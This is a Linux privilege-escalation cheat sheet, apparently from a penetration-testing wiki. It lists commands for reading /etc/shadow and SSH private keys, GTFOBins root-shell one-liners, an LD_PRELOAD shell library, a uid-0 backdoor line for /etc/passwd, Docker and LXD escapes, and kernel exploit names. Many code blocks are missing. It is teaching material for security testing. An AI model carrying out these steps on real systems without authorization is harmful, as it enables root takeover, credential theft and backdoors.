Linux Priv Esc

Linux Privilege Escalation

Checklists

  • id

  • who

  • sudo -l

  • groups www-data

  • ls -al /etc/passwd

  • ls -al /etc/shadow

  • ls -al /etc/sudoers

  • cat /etc/sudoers

  • cat /etc/passwd

  • cat /etc/shadow

  • find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000)

  • find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000)

Password Hunt

  • Is wordpress, joomla, drupal or another CMS installed?

    • look for passwords in /var/www/html

    • wordpress wp-config.php

    • joomla configuration.php or database.php

    • drupal settings.php

    • Tomcat: tomcat-users.xml

    • Mongo mongod*.conf

    • PHP_RELEVANT_NAMES: *config*.php database.php db.php storage.php"

      ""

Cron

  • crontab -l

  • ls -alh /var/spool/cron

  • ls -al /etc/ | grep cron

  • ls -al /etc/cron*

  • cat /etc/cron*

  • cat /etc/at.allow

  • cat /etc/at.deny

  • cat /etc/cron.allow

  • cat /etc/cron.deny

  • cat /etc/crontab

  • cat /etc/anacrontab

  • cat /var/spool/cron/crontabs/root

CAT

  • cat ~/.ssh/authorized_keys

  • cat ~/.ssh/identity.pub

  • cat ~/.ssh/identity

  • cat ~/.ssh/id_rsa.pub

  • cat ~/.ssh/id_rsa

  • cat ~/.ssh/id_dsa.pub

  • cat ~/.ssh/id_dsa

  • cat /etc/ssh/ssh_config

  • cat /etc/ssh/sshd_config

  • cat /etc/ssh/ssh_host_dsa_key.pub

  • cat /etc/ssh/ssh_host_dsa_key

  • cat /etc/ssh/ssh_host_rsa_key.pub

  • cat /etc/ssh/ssh_host_rsa_key

  • cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key

Tools

There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escelation vectors. Here are a few:

  • Kernel and distribution release details

  • System Information:

    • Hostname

    • Networking details:

    • Current IP

    • Default route details

    • DNS server information

  • User Information:

    • Current user details

    • Last logged on users

    • Shows users logged onto the host

    • List all users including uid/gid information

    • List root accounts

    • Extracts password policies and hash storage method information

    • Checks umask value

    • Checks if password hashes are stored in /etc/passwd

    • Extract full details for 'default' uid's such as 0, 1000, 1001 etc

    • Attempt to read restricted files i.e. /etc/shadow

    • List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)

    • Basic SSH checks

  • Privileged access:

    • Which users have recently used sudo

    • Determine if /etc/sudoers is accessible

    • Determine if the current user has Sudo access without a password

    • Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)

    • Is root's home directory accessible

    • List permissions for /home/

  • Environmental:

    • Display current $PATH

    • Displays env information

  • Jobs/Tasks:

    • List all cron jobs

    • Locate all world-writable cron jobs

    • Locate cron jobs owned by other users of the system

    • List the active and inactive systemd timers

  • Services:

    • List network connections (TCP & UDP)

    • List running processes

    • Lookup and list process binaries and associated permissions

    • List inetd.conf/xined.conf contents and associated binary file permissions

    • List init.d binary permissions

  • Version Information (of the following):

    • Sudo

    • MYSQL

    • Postgres

    • Apache

      • Checks user config

      • Shows enabled modules

      • Checks for htpasswd files

      • View www directories

  • Default/Weak Credentials:

    • Checks for default/weak Postgres accounts

    • Checks for default/weak MYSQL accounts

  • Searches:

    • Locate all SUID/GUID files

    • Locate all world-writable SUID/GUID files

    • Locate all SUID/GUID files owned by root

    • Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)

    • Locate files with POSIX capabilities

    • List all world-writable files

    • Find/list all accessible *.plan files and display contents

    • Find/list all accessible *.rhosts files and display contents

    • Show NFS server details

    • Locate *.conf and *.log files containing keyword supplied at script runtime

    • List all *.conf files located in /etc

    • Locate mail

  • Platform/software specific tests:

    • Checks to determine if we're in a Docker container

    • Checks to see if the host has Docker installed

    • Checks to determine if we're in an LXC container

Looting for passwords

Files containing passwords

Old passwords in /etc/security/opasswd

The /etc/security/opasswd file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.

⚠️ Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes

Last edited files

Files that were edited in the last 10 minutes

In memory passwords

Find sensitive files

SSH Key

Sensitive files

SSH Key Predictable PRNG (Authorized_Keys) Process

This module describes how to attempt to use an obtained authorized_keys file on a host system.

Needed : SSH-DSS String from authorized_keys file

Steps

  1. Get the authorized_keys file. An example of this file would look like so:

  1. Since this is an ssh-dss key, we need to add that to our local copy of /etc/ssh/ssh_config and /etc/ssh/sshd_config:

  1. Get g0tmi1k's debian-ssh repository and unpack the keys:

  1. Grab the first 20 or 30 bytes from the key file shown above starting with the "AAAA..." portion and grep the unpacked keys with it as:

  1. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:

And you should connect without requiring a password. If stuck, the -vvv verbosity should provide enough details as to why.

Scheduled tasks

Cron jobs

Check if you have access with write permission on these files. Check inside the file, to find other paths with write permissions.

You can use pspy to detect a CRON job.

Systemd timers

SUID

SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is root, the uid will be changed to root even if it was executed from user bob. SUID bit is represented by an s.

Find SUID binaries

Create a SUID binary

Capabilities

List capabilities of binaries

Edit capabilities

Interesting capabilities

Having the capability =ep means the binary has all the capabilities.

Alternatively the following capabilities can be used in order to upgrade your current privileges.

Example of privilege escalation with cap_setuid+ep

Capabilities name

Description

CAP_AUDIT_CONTROL

Allow to enable/disable kernel auditing

CAP_AUDIT_WRITE

Helps to write records to kernel auditing log

CAP_BLOCK_SUSPEND

This feature can block system suspends

CAP_CHOWN

Allow user to make arbitrary change to files UIDs and GIDs

CAP_DAC_OVERRIDE

This helps to bypass file read, write and execute permission checks

CAP_DAC_READ_SEARCH

This only bypass file and directory read/execute permission checks

CAP_FOWNER

This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file

CAP_KILL

Allow the sending of signals to processes belonging to others

CAP_SETGID

Allow changing of the GID

CAP_SETUID

Allow changing of the UID

CAP_SETPCAP

Helps to transferring and removal of current set to any PID

CAP_IPC_LOCK

This helps to lock memory

CAP_MAC_ADMIN

Allow MAC configuration or state changes

CAP_NET_RAW

Use RAW and PACKET sockets

CAP_NET_BIND_SERVICE

SERVICE Bind a socket to internet domain privileged ports

SUDO

Tool: Sudo Exploitation

NOPASSWD

Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

LD_PRELOAD and NOPASSWD

If LD_PRELOAD is explicitly defined in the sudoers file

Compile the following shared object using the C code below with gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Execute any binary with the LD_PRELOAD to spawn a shell : sudo LD_PRELOAD=<full_path_to_so_file> <program>, e.g: sudo LD_PRELOAD=/tmp/shell.so find

Doas

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

sudo_inject

Using https://github.com/nongiach/sudo_inject

Slides of the presentation : https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf

CVE-2019-14287

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

gdb -nx -ex '!sh' -ex quit sudo mysql -e '! /bin/sh' strace -o /dev/null /bin/sh sudo awk 'BEGIN {system("/bin/sh")}'

Wildcard

By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.

Tool: wildpwn

Writable files

List world writable files on the system.

Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)

/etc/sysconfig/network-scripts/ifcfg-1337 for example

src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f] (https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)

Writable /etc/passwd

First generate a password with one of the following commands.

Then add the user hacker and add the generated password.

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

You can now use the su command with hacker:hacker

Alternatively you can use the following lines to add a dummy user without a password. WARNING: you might degrade the current security of the machine.

NOTE: In BSD platforms /etc/passwd is located at /etc/pwd.db and /etc/master.passwd, also the /etc/shadow is renamed to /etc/spwd.db.

Writable /etc/sudoers

NFS Root Squashing

When no_root_squash appears in /etc/exports, the folder is shareable and a remote user can mount it.

Shared Library

ldconfig

Identify shared libraries with ldd

Create a library in /tmp and activate the path.

RPATH

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

Groups

Docker

Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account toor:password.

Almost similar but you will also see all processes running on the host and be connected to the same NICs.

Or use the following docker image from chrisfosterelli to spawn a root shell

More docker privilege escalation using the Docker Socket.

LXC/LXD

The privesc requires to run a container with elevated privileges and mount the host filesystem inside.

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

Alternatively: https://www.hackingarticles.in/lxd-privilege-escalation/

Alternatively https://github.com/initstring/lxd_root

Kernel Exploits

Precompiled exploits can be found inside these repositories, run them at your own risk !

The following exploits are known to work well, search for more exploits with searchsploit -w linux kernel centos.

Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing uname -a Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

CVE-2010-3904 (RDS)

Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

CVE-2010-4258 (Full Nelson)

Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)

CVE-2012-0056 (Mempodipper)

Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

References

PreviousFile TransferNextFix Shell

Last updated

Was this helpful?